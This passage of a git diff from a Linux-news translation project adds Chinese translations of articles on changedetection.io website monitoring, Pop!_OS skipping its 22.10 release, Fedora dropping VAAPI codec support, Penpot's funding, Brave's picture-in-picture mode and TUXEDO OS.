https://gitlab.manjaro.org/applications/pamac/-/issues/1017 +[23]: https://itsfoss.com/install-pamac-arch-linux/ +[24]: https://gitlab.manjaro.org/applications/pamac +[25]: https://github.com/schuay/pcurses +[26]: https://github.com/gavinlyonsrepo/cylon +[27]: https://github.com/moson-mo/pacseek +[28]: https://github.com/ericm/yup +[29]: https://bugs.archlinux.org/task/50459 diff --git a/published/202210/20220927 Get change alerts from any website with this open source tool.md b/published/202210/20220927 Get change alerts from any website with this open source tool.md new file mode 100644 index 0000000000..8e75c1d2f9 --- /dev/null +++ b/published/202210/20220927 Get change alerts from any website with this open source tool.md @@ -0,0 +1,103 @@ +[#]: subject: "Get change alerts from any website with this open source tool" +[#]: via: "https://opensource.com/article/22/9/changedetection-io-open-source-website-changes" +[#]: author: "Leigh Morresi https://opensource.com/users/dgtlmoon" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15129-1.html" + +用这个开源工具从任何网站获取变化提醒 +====== + +> 使用 changedetection.io 在网站发生变化或更新时获得提醒。 + +![](https://img.linux.net.cn/data/attachment/album/202210/11/153605ikpi81s1mz8wak2z.jpg) + +那一年是 2020 年,关于大流行病的消息迅速涌来,每个人都感到完全被类似的新闻文章所淹没,提供了不同程度的更新。 + +但我需要知道的是,我们的官方准则何时改变。最后,这就是对我来说最重要的事情。 + +无论关注的是大流行病还是最新的科技新闻,提前了解网站内容的变化都至关重要。 + +[changedetection.io][2] 项目为网站变更检测和通知提供了一个简单但强大的开源解决方案。它很容易设置,而且可以通知 70 多个(还在不断增加)不同的通知系统,如 Matrix、Mattermost、[Nextcloud][3]、[Signal][4]、[Zulip][5]、[Home Assistant][6]、电子邮件等等。它还能通知专有应用,如 Discord、Office365、Reddit、Telegram 和许多其他应用。 + +但 [changedetection.io][7] 并不只是局限于观察网页内容。你也可以监视 XML 和 JSON 源,它将建立一个 RSS 馈送,记录变化的网站。 + +由于其内置的 JSON 简单存储系统,不需要设置复杂的数据库来接收和存储信息。你可以 [使用 Docker 镜像运行][8] 或用 `pip` 安装它。该项目有一个 [全面的维基帮助页][9],大多数常见的问题都有涵盖。 + +对于使用复杂 JavaScript 的网站,你可以用内置的 [Playwright 内容获取器][10] 将你的 changedetection.io 连接到 Chromium 或 Chrome 浏览器。 + +运行后,在你的浏览器(默认情况下是 `http://localhost:5000`)中访问该应用。如果你的电脑可以从外部网络访问,你可以在 设置Settings中设置一个密码。 + +![change detection watch list][11] + +提交你想监控的页面的 URL。有几个与如何过滤该网页有关的设置。例如,你很可能不想知道一家公司在其网站页脚列出的股票价格何时发生变化,但你可能想知道他们在其博客上发布的新闻文章。 + +### 监控一个网站 + +想象一下,你想添加你最喜欢的网站 Opensource.com 进行监控。你只想知道主要标注文章何时包含 “python” 一词,并且通过 Matrix 收到通知。 + +要做到这点,首先要使用“视觉选择器Visual Filter Selector”工具。(这需要连接 **playwright** 浏览器界面)。 + +![Find an element to monitor][12] + +该工具会自动计算出针对内容的最佳 Xpath 或 CSS 过滤器。否则,你会从每天的页面更新中得到大量的噪音。 + +接下来,访问“过滤器和触发器Filters & Triggers”标签。 + +![Filters and triggers][13] + +在 “CSS/JSON/XPATH 过滤器CSS/JSON/XPATH Filter”区域(蓝色圆圈),你可以看到上一步自动生成的 CSS 过滤器。 + +有几个有用的过滤器,比如“移除元素Remove elements”(适合移除嘈杂的元素)、“忽略文本Ignore text”、“触发/等待文本Trigger/wait for text”,和“如果文本匹配则阻止变化检测Block change-detection if text matches”(用于等待一些文本消失,如“售罄”)。 + +在“触发/等待文本Trigger/wait for text”(红色圆圈)中,输入你想监测的关键词。(在这个例子中是 “python”)。 + +最后一步是在“通知Notifications”选项卡中,你要在那里配置你想收到的通知。下面我使用 Matrix API 添加了一个 Matrix 房间作为通知目标。 + +![Notifications tab][14] + +通知的 URL 的格式是 `matrixs://username:password@matrix.org/#/room/#room-name:matrix.org`。 + +然而,[t2Bot][15] 格式也支持。这里有更多的 [Matrix 通知选项][16]。 + +就是这些了! 现在只要内容有变化,你就会通过 Matrix 收到信息。 + +### 还有更多 + +changedetection.io 还有很多东西。如果你喜欢调用一个自定义的 JSON API,你不需要使用通知的 API(使用 `jsons://` )。你还可以创建一个自定义的 HTTP 请求(POST 和 GET),在检查前执行 JavaScript(也许是为了预先填充一个用户名和密码的登录字段),以及更多有趣的功能,更多的功能将陆续推出。 + +不要再浏览网站,而是开始监测网络吧! + +*图片提供:(Leigh Morresi, CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/changedetection-io-open-source-website-changes + +作者:[Leigh Morresi][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dgtlmoon +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_desktop_website_checklist_metrics.png +[2]: https://github.com/dgtlmoon/changedetection.io +[3]: https://opensource.com/tags/nextcloud +[4]: https://opensource.com/article/19/10/secure-private-messaging +[5]: https://opensource.com/article/22/3/open-source-chat-zulip +[6]: https://opensource.com/article/20/11/home-assistant +[7]: https://github.com/dgtlmoon/changedetection.io +[8]: https://github.com/dgtlmoon/changedetection.io#docker +[9]: https://github.com/dgtlmoon/changedetection.io/wiki +[10]: https://github.com/dgtlmoon/changedetection.io/wiki/Playwright-content-fetcher +[11]: https://opensource.com/sites/default/files/2022-09/screenshot.png +[12]: https://opensource.com/sites/default/files/2022-09/changedetect-osdc.png +[13]: https://opensource.com/sites/default/files/2022-09/changedetect-filters-triggers.webp +[14]: https://opensource.com/sites/default/files/2022-09/step3-notification-matrix.png +[15]: https://t2bot.io/ +[16]: https://github.com/caronc/apprise/wiki/Notify_matrix diff --git a/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md b/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md new file mode 100644 index 0000000000..5896916d0a --- /dev/null +++ b/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md @@ -0,0 +1,97 @@ +[#]: subject: "System76 Won't Release Pop!_OS 22.10 Linux Distro: Here's Why!" +[#]: via: "https://news.itsfoss.com/no-pop-os-21-10/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15116-1.html" + +System 76 将不会发布 Pop!_OS 22.10 Linux 发行版 +====== + +> Pop!_OS 22.10 将不会发布。所以,你将无法使用 GNOME 43…… 这里是原因。 + +![System 76 将不会发布 Pop!_OS 22.10 Linux 发行版:这就是为什么!][1] + +Pop!_OS 是一个基于 Ubuntu 的 Linux 发行版,它提供了一个精心设计的用户体验以及强大的软件套件。 + +考虑到它带来的最新技术和桌面环境带来的有用的调整,Pop!_OS 发行版通常值得等待。 + +但是,你将无法获得 Pop!_OS 22.10 发行版。 + +[System76][2] 希望专注于开发其自己的基于 Rust 的 COSMIC 桌面环境,并在未来的版本中放弃 GNOME。😲 + +**如果你不知道的话**,这是我们对 Pop!_OS 的 COSMIC 桌面环境的旧报道,以供说明: + +![][4a] + +> **[哦,哇哦!Pop!_OS Linux 开发人员正在创建一个基于 Rust 的新桌面环境][4]** + +### Pop!_OS 22.10 发行版将不会发布 + +一般在 Ubuntu 发布新的 LTS 和非 LTS 版本之后,Pop!_OS 发行版就会发布。 + +没有 Pop!_OS 22.10,一些用户可能会失望,因为他们无法在 Pop!_OS 上体验 GNOME 43。 + +感谢 [OMG!Ubuntu!][5] 发现了 Pop!_OS 开发人员 **Michael Murphy** 的这个 [Reddit 评论][6]。 + +Michael 提到: + +> 我们将会把开发时间集中到 COSMIC 的 Rust 实现上,而不是 22.10。支持多个 Ubuntu 版本需要很大的努力,而 6 个月的发布周期真的会吃掉开发时间和产品的稳定性。 + +👏 我相信这是一个很好的决定。去年,当他们宣布了基于 Rust 从头开始构建桌面环境的计划时,我总是想知道他们如何做到的。 + +从头开始做一件事并达到用户的期望是一项艰巨的任务,这些用户已经在基于 GNOME 的 Pop!_OS 上拥有了很好的体验。 + +### COSMIC 桌面环境 + +![pop os cosmic 桌面环境早期构建][9] + +看到 COSMIC 桌面环境的更多发展会很有趣。上次我们尝试它(或看到演示)时,用户会对它感到兴奋,即使它们只是刚刚开始。 + +从技术上讲,它自 2021 年以来就一直在开发中,2023 年的 Pop!_OS 发行版将会带来它。 + +它使用 [Rust][10] 编程语言编写,遵循 freedesktop [互操作性规范][11],并完全移除了对 GNOME 和其 shell 扩展的依赖。 + +我们曾经介绍过 COSMIC 桌面环境的早期预览构建,你可以在这里查看: + +![][12a] + +> **[我尝试了 System76 新的基于 Rust 的 COSMIC 桌面!][12]** + +### 为什么这是件好事? + +Pop!_OS 的 LTS 版本已经收到了比 Ubuntu 更多的包更新和内核升级,所以你不必担心没有发布 22.10 版本。 + +相反,我们应该期待 Pop!_OS 的下一个主要升级,那时他们会正式介绍 Rust-COSMIC 桌面环境。 + +*💬 你对这个决定怎么看?你对未来的 Pop!_OS 发行版有什么期待吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/no-pop-os-21-10/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/no-pop-os-22-10-release.png +[2]: https://system76.com/ +[3]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[4]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[4a]: https://news.itsfoss.com/content/images/wordpress/2021/11/pop-os-cosmic-rust.png +[5]: https://www.omgubuntu.co.uk/2022/09/excited-for-pop_os-22-10-dont-be +[6]: https://www.reddit.com/r/pop_os/comments/xifwt6/comment/ip3l425/ +[7]: http://proton.go2cloud.org/aff_c?offer_id=15&aff_id=1173 +[8]: http://proton.go2cloud.org/aff_c?offer_id=15&aff_id=1173 +[9]: https://news.itsfoss.com/content/images/2022/09/pop_os_cosmic_early_build.png +[10]: https://www.rust-lang.org/ +[11]: https://www.freedesktop.org/wiki/Specifications/ +[12]: https://news.itsfoss.com/system76-rust-cosmic-desktop/ +[12a]: https://news.itsfoss.com/content/images/wordpress/2022/01/system76-rust-based-distro-ft.png \ No newline at end of file diff --git a/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md b/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md new file mode 100644 index 0000000000..2f9dade857 --- /dev/null +++ b/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md @@ -0,0 +1,108 @@ +[#]: subject: "Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here's Why!]" +[#]: via: "https://news.itsfoss.com/fedora-drops-vaapi-codec/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15113-1.html" + +哦,不!Fedora 正在放弃对流行的视频编解码器的支持 +====== + +> Fedora 37(和 36)可能不再允许你使用一些流行的编解码器来方便地使用视频的图形加速功能。 + +![哦,不!😱Fedora正在放弃对流行视频编解码器的支持[这里有原因!]][1] + +Fedora 是一个流行的 Linux 发行版,迎合了那些希望在他们的工作站(和服务器)上使用最先进技术的用户。 + +它没有搭载任何专有组件,默认情况下坚持使用完全开源的软件库。 + +虽然这对一些人来说已经很不方便了,但现在看来,另一个变化可能会困扰期待 Fedora 37 的用户。 + +[最近在 Fedora 上的一个 Mesa 的提交][2] 告诉我们,由于法律问题,**H.264、H.265 和 VC-1** 编解码器的视频加速 API(VAAPI)的支持已经被禁用。 + +这一变化可能也会被回传到 Fedora 36。 + +> 💡 H.264 是大多数视频行业使用的主流视频编解码器。 +> +> 例如,苹果公司广泛使用 H.264 编解码器,用于 iPhone 手机拍摄的照片和视频。你可以阅读此 [文档][3] 来了解更多。 + +Fedora 项目论坛的一位成员 [首先发现][4] 了 Fedora 中的这一变化,他将其描述为 “*F36 的一大退步*”。 + +### 这对 Fedora 用户来说是坏消息吗? + +是的,基本上是的。 + +**主要是,它将影响使用开源驱动程序的 AMD GPU 用户**,阻止他们使用 **GPU 加速** 来播放需要使用这些编解码器的视频内容。 + +此外,它还会影响到 **任何使用开源图形驱动的用户**,即使他们在英特尔芯片上运行 iGPU。Fedora 开发者还没有对此提供任何澄清,但你可以自己测试一下。 + +如果你在英伟达显卡上使用专有驱动程序,你就没有什么可担心的。 + +运行旧硬件的用户也可能有问题,他们的系统可能不支持这些编解码器。 + +这些编解码器最常用在你从 BT 或各种服务中下载的视频中,这些视频还没有转移到更新一代的编解码器(如 **AV1** 和 **VP9**)。 + +我相信,这是互联网上的**大部分**视频的情况。 + +一些流媒体平台也使用这些编解码器在其各自的平台上提供内容,这可能导致用户在试图通过其服务访问内容时面临问题。 + +### 这是否影响到每个人? + +如果你是那些观看 YouTube 视频的人,不使用任何需要这些编解码器的视频的平台或下载它们,你就不会有任何问题。 + +### Fedora 正在避免法律上的麻烦 + +还没有人起诉 Fedora 或强迫他们这样做。然而,正如 [Phoronix][6] 所指出的,Mesa 的一个变化最近允许开发者选择性地禁用编解码器,以帮助避免法律纠纷和软件专利冲突。 + +因此,为了避免法律上的混乱,Fedora 进行了这一改变。 + +H.264 和 H.265 的专利属于一家名为 [MPEG LA][7] 的公司,该公司专门用于持有视频编解码器和显示标准领域的专利。 + +而 VC-1 的专利属于 [SMPTE][8],这是一个由媒体和娱乐机构的专业人士管理的团体。 + +考虑到用户在购买显卡时已经支付了使用这些编解码器的许可,我们仍然不确定为什么会这样。你可以在 [Fedora 的法律列表会话][9] 中阅读更多相关信息。 + +### 可能的解决方法是什么? + +**显然**,你必须依赖基于 CPU 的解码了。当然,你也可以使用官方或第三方的 Mesa 构建版本。 + +Flatpak 应用程序可能允许你观看图形加速的视频内容而没有问题。但是,这要取决于软件的维护者。 + +但是,对于大多数用户来说,这可能是一个不方便的解决方案。 + +另一个解决方法可能是在旨在包含第三方应用程序的 RPM Fusion 仓库中单独包含支持 VAAPI 的编解码器。 + +然而,负责 Fedora RPM Fusion 仓库的开发者对维护 Fedora Mesa 3D 的复刻版本不感兴趣。该开发者提到: + +> rpmfusion 基本上没有兴趣去打包和维护它,而且保持仓库与 Fedora 同步对我来说也不是一个优先事项。 + +![][10] + +*💬 你对 Fedora 的这一变化有什么看法?请在下面的评论中告诉我们你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-drops-vaapi-codec/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/fedora-dropping-support-for-popular-video-codecs.png +[2]: https://src.fedoraproject.org/rpms/mesa/c/94ef544b3f2125912dfbff4c6ef373fe49806b52?branch=rawhide +[3]: https://support.apple.com/en-us/HT207022 +[4]: https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/PYUYUCM3RGTTN4Q3QZIB4VUQFI77GE5X/ +[5]: https://youtu.be/ibXKKllz4xQ +[6]: https://www.phoronix.com/news/Mesa-Optional-Video-Codecs +[7]: https://en.wikipedia.org/wiki/MPEG_LA +[8]: https://en.wikipedia.org/wiki/Society_of_Motion_Picture_and_Television_Engineers +[9]: https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/thread/M4LTGLHY5JX42IHC45WNWB5FH2JIFMAS/ +[10]: https://news.itsfoss.com/content/images/2022/09/fedora-rpm-mesa.jpg +[11]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md b/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md new file mode 100644 index 0000000000..f573d4c6f8 --- /dev/null +++ b/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md @@ -0,0 +1,43 @@ +[#]: subject: "Penpot, Gains Additional Users Thanks To Adobe’s Figma Purchase" +[#]: via: "https://www.opensourceforu.com/2022/09/penpot-gains-additional-users-thanks-to-adobes-figma-purchase/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15091-1.html" + +由于 Adobe 收购了 Figma,Penpot 获得了更多用户 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/01/123134pkwwwnakfpsds7p6.jpg) + +> 在 Adobe 同意以 200 亿美元收购 Figma 两周后,开源设计项目 Penpot 背后的公司 Kaleidos 表示已筹集到 800 万美元的新资金。 + +自 Adobe 透露打算向著名设计工具背后的公司 Figma 投资 200 亿美元以来,已经过去了 13 天。Penpot 是个开源替代品,当时有过一段繁荣。Penpot 现在有额外的资金来支持这种扩张。据其母公司 Kaleidos 周二称,得益于 800 万美元的资金,Penpot 的协作设计软件的开发将继续进行。该公司表示,当 Adobe 同意购买 Figma 后,其注册用户在一天内就增加了 5600%。 + +为了支持不断增加的访问量,Penpot 在周末增强了托管 Web 应用程序的基础设施。据该公司称,本地部署量增加了 400%,托管 Penpot 开源代码的 GitHub 存储库的星标数出现了硅谷流行的曲棍球棒图。本轮投资由思科支持的 Decibel 牵头,投资方 Athos Capital 也参与其中。Decibel 的创始合伙人 Jon Sakoda 表示,这个时机可能看起来特别恰当,但这只是巧合,因为该协议是在 8 月中旬达成的,在大家兴趣飙升的几周前。 + +Adobe 在给 CNBC 的一份声明中表示,与 Figma 相结合,该公司将“让协作创意更轻松、更顺畅,并让数百万用户更有创造力和生产力”,而且它“将加速 Figma 的创新路线图并提供访问更广泛的客户群”。 + +Penpot 仍然是很难存活的企业。设计师目前可以使用 Penpot 开源软件的托管版本或免费下载。但 Penpot CEO Ruiz-Múzquiz 并不是唯一一个将 Adobe-Figma 合作伙伴关系视为重要可能性的人。在 Reddit 的 Figma 讨论板上有个帖子,标题为“如果你希望看到 Adobe Figma 交易失败,请投票。”有 400 多人投了支持。让 Figma 不属于 Adobe,这是英国设计机构 Rejiggle 的创始人 Daryl Ginn 在 Twitter 上提出的建议。 + +Adobe 表示,如果收购在 2023 年按预期进行,Figma 的联合创始人兼 CEO Dylan Field 将继续领导该公司。这并不能减轻一些怀疑论者的恐惧。尼日利亚品牌设计师 Chisaokwu Joboson 在 Twitter 上的一篇的帖子收到了 3,000 多个赞,他的帖子似乎暗示,在 Adobe 的领导下,Figma 存储文件的简单性将结束,它将开始更像是一个强大的桌面应用程序,需要手动保存。 + +预期中的合并也不是所有人都反对。例如,荷兰设计师 Fons Mans 在 Twitter 上表示,能够使用 Figma 同时还能够在 Photoshop 和其他程序中“处理你的照片”将是“一个梦想”。 + +由于直接共享和协作编辑等功能,Figma 最初吸引了一些摆脱 Adobe Creative Cloud 工具的设计师。尽管其被宣传为竞争对手,但据报道,Adobe 的 Creative Cloud XD 在七年后每年的经常性收入仅 1500 万美元。在 Twitter Spaces 的讨论中,产品主管 Scott Belsky 表示 Adobe 致力于帮助 XD 的用户。然而,Ruiz-Múzquiz 声称,出售的时机非常有利于他的公司的发展。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/penpot-gains-additional-users-thanks-to-adobes-figma-purchase/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md b/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md new file mode 100644 index 0000000000..fb7dc44dae --- /dev/null +++ b/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md @@ -0,0 +1,103 @@ +[#]: subject: "How to Use Picture in Picture Mode in Brave Browser" +[#]: via: "https://itsfoss.com/picture-in-picture-brave/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15137-1.html" + +如何在 Brave 浏览器中使用画中画模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/13/003034agqsflug771cl3uj.jpg) + +> Brave 是一款出色的类似于 Chrome,但可 [替代 Chrome 的网络浏览器][1]。 + +[Firefox 和 Brave][2] 是我喜欢在 Linux 系统上使用的两种浏览器。两者都有不同的优势。 + +Firefox 比 Brave 做得更好的一件事就是画中画(PIP)模式,它适用于 YouTube、Netflix 和大多数流媒体网站。 + +Brave 也有画中画模式,但它是如此隐藏,以至于你觉得它根本没有 PIP 支持。 + +内置画中画适用于某些网站(如 YouTube),但可能不适用于其他网站(如 Prime Video)。不用担心!你可以为此使用专用扩展。 + +让我在本教程中展示这两种方法。 + +### 方法 1:在视频上双击右键 + +**技巧是依次单击两次右键,你应该会看到画中画模式选项。** + +让我通过一个例子来说明这一点。在 Brave 中播放 YouTube 视频。现在右键单击视频。 + +![第一次右键单击后将光标从上下文菜单稍微移开][3] + +再次右键单击。它应该在视频上,但不在上一个上下文菜单上,而在视频的其他地方。 + +现在你应该看到另一个带有画中画选项的上下文菜单。 + +![你应该在第二次右键单击中看到画中画选项][4] + +选择画中画,视频将从窗口中弹出。你可以将其移动到浏览器中的任何位置。 + +![Brave 浏览器画中画模式][5] + +当你使用其他应用时,你还可以让它在屏幕上的任何位置播放。 + +![Brave 在画中画模式中播放影片][6] + +在最近的 Brave 版本中,你可以根据自己的喜好调整弹出窗口的大小。 + +我不明白为什么 Brave 把它隐藏成这样。为什么不突出它? + +无论如何,这适用于 YouTube 等网站,但可能不适用于 Prime 视频。如果你愿意,你可以安装一个扩展。 + +### 方法 2:使用画中画扩展 + +谷歌提供了一个官方插件,可让你在谷歌 Chrome 中获得画中画功能。由于 Brave 基于 Chromium,你可以在 Brave 中使用相同的扩展。 + +> **[画中画扩展][7]** + +进入扩展页面并点击 “添加到 BraveAdd to Brave” 按钮。 + +![为 Brave 添加画中画扩展][8] + +当你单击它时,它会提示添加扩展的选项。 + +![添加扩展][9] + +添加扩展后,你应该会在浏览器的右上角看到它。 + +![使用画中画扩展][10] + +播放视频时,单击该扩展图标,视频应该会弹出。 + +### 你能在 Brave 中启用 PIP 模式吗? + +画中画模式已成为休闲流媒体消费的必备功能。我觉得奇怪的是,Brave 和其他浏览器没有足够重视它。 Firefox 处理得很好。 + +我希望这个快速的小技巧可以帮助你在 Brave 浏览器中获得 PIP 体验。你更喜欢这两种方法中的哪一种?右键单击还是扩展? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/picture-in-picture-brave/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/open-source-browsers-linux/ +[2]: https://itsfoss.com/brave-vs-firefox/ +[3]: https://itsfoss.com/wp-content/uploads/2022/09/getting-picture-in-picture-in-brave-1.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/09/getting-picture-in-picture-in-brave-2.webp +[5]: https://itsfoss.com/wp-content/uploads/2022/09/brave-picture-in-picture-youtube.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/09/brave-playing-picture-in-picture-mode-on-screen.webp +[7]: https://chrome.google.com/webstore/detail/picture-in-picture-extens/hkgfoiooedgoejojocmhlaklaeopbecg/related?hl=en-US +[8]: https://itsfoss.com/wp-content/uploads/2022/09/picture-in-picture-extension-google-chrome-web.png +[9]: https://itsfoss.com/wp-content/uploads/2022/09/add-picture-in-picture-extension-to-brave.webp +[10]: https://itsfoss.com/wp-content/uploads/2022/09/picture-in-picture-extension.png diff --git a/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md b/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md new file mode 100644 index 0000000000..c4f72a7631 --- /dev/null +++ b/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md @@ -0,0 +1,142 @@ +[#]: subject: "[Exclusive] Tuxedo Makes Ubuntu-based 'TUXEDO OS' Available For All" +[#]: via: "https://news.itsfoss.com/tuxedo-os/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15110-1.html" + +Tuxedo 已对所有用户开放基于 Ubuntu 的 TUXEDO OS +====== + +> TUXEDO OS 是一个基于 Ubuntu 的 Linux 发行版,旨在将 TUXEDO 在 Linux 方面的专业知识也带给非 TUXEDO 用户。 + +![[独家] Tuxedo 已对所有用户开放基于 Ubuntu 的 'TUXEDO OS'][1] + +又一个基于 Ubuntu 的 Linux 发行版?😕 + +不完全是!**TUXEDO 计算机公司** 是一家硬件制造商,以其专注于 Linux 的笔记本电脑和计算机而闻名。 + +**TUXEDO OS 与 Ubuntu 之间存在着一些有趣的差异**。 + +虽然他们已经在笔记本电脑/计算机上提供预装 TUXEDO OS 的选项,但是它并未对所有人开放。 + +终于,他们决定将其发行版的第一个版本作为 **TUXEDO OS 1** 开放,该版本现已可供下载。 + +这也意味着你可以在自己的非 TUXEDO 系统上试用它。 + +所以这个思路很像 System76 的 Pop!_OS,所以这并不算一件坏事 👌 + +### 搭配 KDE 的 TUXEDO OS 1 + +![tuxedo 桌面][2] + +TUXEDO OS 1 是基于 [Ubuntu 22.04 LTS][3] 的; 所以它应该可以直接在大多数设备上运行。 + +与 System76 的 Pop!_OS 不同,TUXEDO OS 搭载了 [KDE Plasma 5.24.6][4]。因此,它应当提供了一个 Windows 用户也较为熟悉的用户界面。 + +但是,TUXEDO OS 还包括一些额外的功能,例如 TUXEDO 控制中心,用于微调你的硬件(CPU/风扇等),以及 TUXEDO Tomte,一个用于解决驱动程序/缺少包问题的配置服务,但是它或许能,或许不能在其他硬件配置上工作。 + +说到这里,让我们看看 TUXEDO OS 及其提供的功能。 + +### TUXEDO OS,基于 KDE 的定制化 Ubuntu 体验 + +用户体验正如预期一样,与任何基于 KDE 的 Ubuntu 发行版相同。 + +> 📣 我将 TUXEDO OS(预览版)用做我的主要系统来体验它。 + +你会在应用和菜单上发现带有红色调的 TUXEDO 徽标。它还具有令人耳目一新的壁纸。 + +![tuxedo 菜单][5] + +除了定制化的 KDE Plasma 主题,还有一些其他的变化,例如: + +* 它使用了 PipeWire 作为声音服务器,而不是 PulseAudio。 +* GRUB 中启用了 os-prober 功能,让用户可以方便地检测已安装的其他操作系统。 +* .deb 作为首选的软件包格式,而 Snap 默认情况下被禁用。 +* 从 NetworkManagerConnectivity 检查中移除了 Canonical 的链接。 + +#### 软件可用性? + +你可以通过 “发现Discover” 应用来找到所有流行的软件工具,其中包括 Ubuntu 的仓库和 TUXEDO 的仓库。 + +它包含了 **Firefox、Thunderbird、LibreOffice、VLC、Lutris 和 Heroic Games Launcher** 等必备应用程序。所以我认为你不会觉得它们很臃肿。 + +![tuxedo discover 应用][10] + +我还注意到它默认启用了 Flatpak 集成。 + +你可以在他们的 [官方网页][11] 上了解有关可用软件的更多信息。 + +#### 这也给我们带来了一个重要的亮点 + +❌ TUXEDO OS 不会默认安装 Snap。对于 Firefox,它会像 Linux Mint 一样附带 deb 包安装。 + +✅ 值得注意的是,TUXEDO OS 22.04 LTS 附带了 Nvidia 驱动程序。 + +因此,我可以毫不费力地将它安装在带有 RTX 3060 Ti 显卡的系统上。 + +### TUXEDO 附加功能 + +如上所述,TUXEDO OS 附带了一些专为增强 Tuxedo 硬件的体验而量身定制的附加功能。 + +控制中心是监控你的系统、选择电源配置文件、控制外部水冷([TUXEDO Aquaris][12])等的绝佳工具。 + +![tuxedo 控制中心][13] + +虽然控制中心不是为非 TUXEDO 设备量身定制的,但它在大多数情况下仍然能够正常工作。 + +还有一个 TUXEDO WebFAI Creator 程序(定制的 BalenaEtcher)来烧录用于操作系统安装的 U 盘。 + +![tuxedo webfai][14] + +还有,不要忘记 TUXEDO Tomte,它无法在我的系统上运行,但可以很完美的在 TUXEDO 设备上作为配置服务运行: + +![][15] + +### 下载 TUXEDO OS 1 + +TUXEDO OS 带来了非常精致的体验。TUXEDO 背后的团队在让 Linux 运行在他们的一些最新笔记本电脑上拥有丰富的经验。因此,使用他们的 Linux 